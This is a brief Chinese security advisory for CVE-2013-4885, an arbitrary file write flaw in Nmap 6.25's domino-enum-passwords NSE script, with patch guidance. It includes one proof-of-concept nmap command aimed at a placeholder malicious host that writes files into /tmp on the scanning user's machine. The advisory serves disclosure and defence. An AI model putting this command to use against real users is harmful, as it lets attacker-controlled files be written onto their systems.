Nmap 任意文件写漏洞(CVE-2013-4885）

Nmap 任意文件写漏洞(CVE-2013-4885）

发布日期：2013-08-06
更新日期：2013-08-29

受影响系统：
Nmap Nmap 6.25
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 62024
CVE(CAN) ID: CVE-2013-4885

nmap是一款用于网络发现（Network Discovery）和安全审计（Security Auditing）的网络安全工具，它是自由软件。

Nmap 6.25在http-domino-enum-passwords NSE脚本内存在任意文件上传漏洞，攻击者可利用此漏洞以当前用户权限写任意文件。

<*来源：Piotr Duszynski
 
  链接：https://security-tracker.debian.org/tracker/CVE-2013-4885
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

nmap --script domino-enum-passwords -p 80 <evil_host> --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret,domino-enum-passwords.idpath='/tmp'

建议：
--------------------------------------------------------------------------------
厂商补丁：

Nmap
----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://nmap.org/download.html